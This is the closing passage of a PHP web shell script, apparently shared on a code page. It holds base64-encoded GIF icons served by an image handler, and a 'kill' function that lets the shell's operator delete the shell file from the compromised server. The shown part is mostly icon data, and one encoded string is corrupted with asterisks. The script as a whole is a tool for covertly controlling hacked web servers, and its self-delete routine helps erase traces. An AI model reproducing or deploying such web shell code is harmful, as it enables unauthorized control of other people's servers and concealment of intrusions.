  646. "0iLb2O80s8JcfVJJTaGYrZYPNby5Ov6WolPD+XDJqAgSQ4EUCGQQEJADs=",
  647. "binary"=>"R0lGODlhFAAWAMIAAP///8z//8zMzJmZmTMzMwAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" .
  648. "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" .
  649. "AAADaUi6vPEwEECrnSS+WQoQXSEAE6lxXgeopQmha+q1rhTfakHo/HaDnVFo6LMYKYPkoOADim4VJdOWkx2XvirUgq" .
  650. "VaVcbuxCn0hKe04znrIV/ROOvaG3+z63OYO6/uiwlKgYJJOxFDh4hTCQA7",
  651. "text"=>"R0lGODlhFAAWAOMAAP/////MM/8zM8z//5mZmZlmM2bM/zMzMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH+TlRoaX" .
  652. "MgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1i" .
  653. "ZXIgMTk5NQAh+QQBAAADACwAAAAAFAAWAAAEb/DISee4eBzAu99Hdm1eSYbZWXEkgI5sEBg0+2HnTBsccvhAmGtXAy" .
  654. "COSITwUGg2PYQoQalhOZ/QKLVV6gKmQm8XXDUmzx0yV5ze9s7JdpgtL3ME5jhHTS/xO3hwdWt0f317WwdSi4xRPxlw" .
  655. "kUgXEQA7",
  656. "compressed"=>"R0lGODlhFAAWAOcAAP//////zP//mf//Zv//M///AP/M///MzP/Mmf/MZv/MM//MAP+Z//+ZzP+Zmf+ZZv+ZM/+ZAP" .
  657. "9m//9mzP9mmf9mZv9mM/9mAP8z//8zzP8zmf8zZv8zM/8zAP8A//8AzP8Amf8AZv8AM/8AAMz//8z/zMz/mcz/Zsz/" .
  658. "M8z/AMzM/8zMzMzMmczMZszMM8zMAMyZ/8yZzMyZmcyZZsyZM8yZAMxm/8xmzMxmmcxmZsxmM8xmAMwz/8wzzMwzmc" .
  659. "wzZswzM8wzAMwA/8wAzMwAmcwAZswAM8wAAJn//5n/zJn/mZn/Zpn/M5n/AJnM/5nMzJnMmZnMZpnMM5nMAJmZ/5mZ" .
  660. "zJmZmZmZZpmZM5mZAJlm/5lmzJlmmZlmZplmM5lmAJkz/5kzzJkzmZkzZpkzM5kzAJkA/5kAzJkAmZkAZpkAM5kAAG" .
  661. "b//2b/zGb/mWb/Zmb/M2b/AGbM/2bMzGbMmWbMZmbMM2bMAGaZ/2aZzGaZmWaZZmaZM2aZAGZm/2ZmzGZmmWZmZmZm" .
  662. "M2ZmAGYz/2YzzGYzmWYzZmYzM2YzAGYA/2YAzGYAmWYAZmYAM2YAADP//zP/zDP/mTP/ZjP/MzP/ADPM/zPMzDPMmT" .
  663. "PMZjPMMzPMADOZ/zOZzDOZmTOZZjOZMzOZADNm/zNmzDNmmTNmZjNmMzNmADMz/zMzzDMzmTMzZjMzMzMzADMA/zMA" .
  664. "zDMAmTMAZjMAMzMAAAD//wD/zAD/mQD/ZgD/MwD/AADM/wDMzADMmQDMZgDMMwDMAACZ/wCZzACZmQCZZgCZMwCZAA" .
  665. "Bm/wBmzABmmQBmZgBmMwBmAAAz/wAzzAAzmQAzZgAzMwAzAAAA/wAAzAAAmQAAZgAAM+4AAN0AALsAAKoAAIgAAHcA" .
  666. "AFUAAEQAACIAABEAAADuAADdAAC7AACqAACIAAB3AABVAABEAAAiAAARAAAA7gAA3QAAuwAAqgAAiAAAdwAAVQAARA" .
  667. "AAIgAAEe7u7t3d3bu7u6qqqoiIiHd3d1VVVURERCIiIhEREQAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMg" .
  668. "ZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAAkACwAAAAAFA" .
  669. "AWAAAImQBJCCTBqmDBgQgTDmQFAABDVgojEmzI0KHEhBUrWrwoMGNDihwnAvjHiqRJjhX/qVz5D+VHAFZiWmmZ8BGH" .
  670. "ji9hxqTJ4ZFAmzc1vpxJgkPPn0Y5CP04M6lPEkCN5mxoJelRqFY5TM36NGrPqV67Op0KM6rYnkup/gMq1mdamC1tdn" .
  671. "36lijUpwjr0pSoFyUrmTJLhiTBkqXCgAA7",
  672. "sound"=>"R0lGODlhFAAWAMIAAP////8zM8z//8zMzJmZmWYAADMzMwAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" .
  673. "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAACACwAAAAAFAAW" .
  674. "AAADayi63P4wNsNCkOocYVWPB7FxFwmFwGh+DZpynndpNAHcW9cVQUj8tttrd+G5hMINT7A0BpE4ZnF6hCqn0iryKs" .
  675. "0SDN9v0tSc0Q4DQ1SHFRjeBrQ6FzNN5Co2JD4YfUp7GnY***QLhBiJigsJADs=",
  676. "script"=>"R0lGODlhFAAWAMIAAP///8z//5mZmTMzMwAAAAAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" .
  677. "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" .
  678. "AAADZTi6vPEwDECrnSO+aTvPEddVIrhVBJCSF8QRMIwOBE2fVLrmcYz3O4pgKCDgVMgR0SgZOYVM0dNS/AF7gGy1me" .
  679. "16v9vXNdYNf89es2os00bRcDW7DVDDwe87fjMg+v9DNxBzYw8JADs=");
  680. header('Content-type: image/gif');
  681. echo base64_decode($images[$img]);
  682. die();
  683. }
  684. function kill(){ // Shell deleter function
  685. style();
  686. echo("<form method='post'>");
  687. echo("Type 'confirm' to kill the shell:<br>\n<input type='text' name='ver' action='?act=kill'>");
  688. echo("<input type='submit' value='Delete'>");
  689. echo("</form>");
  690. if($_POST['ver'] == "confirm"){
  691. $self = basename($_SERVER['PHP_SELF']);
  692. if(unlink($self)){echo("Deleted");}
  693. else{echo("Failed");}
  694. }
  695. }
  696. die();
  697. ?>

comments powered by Disqus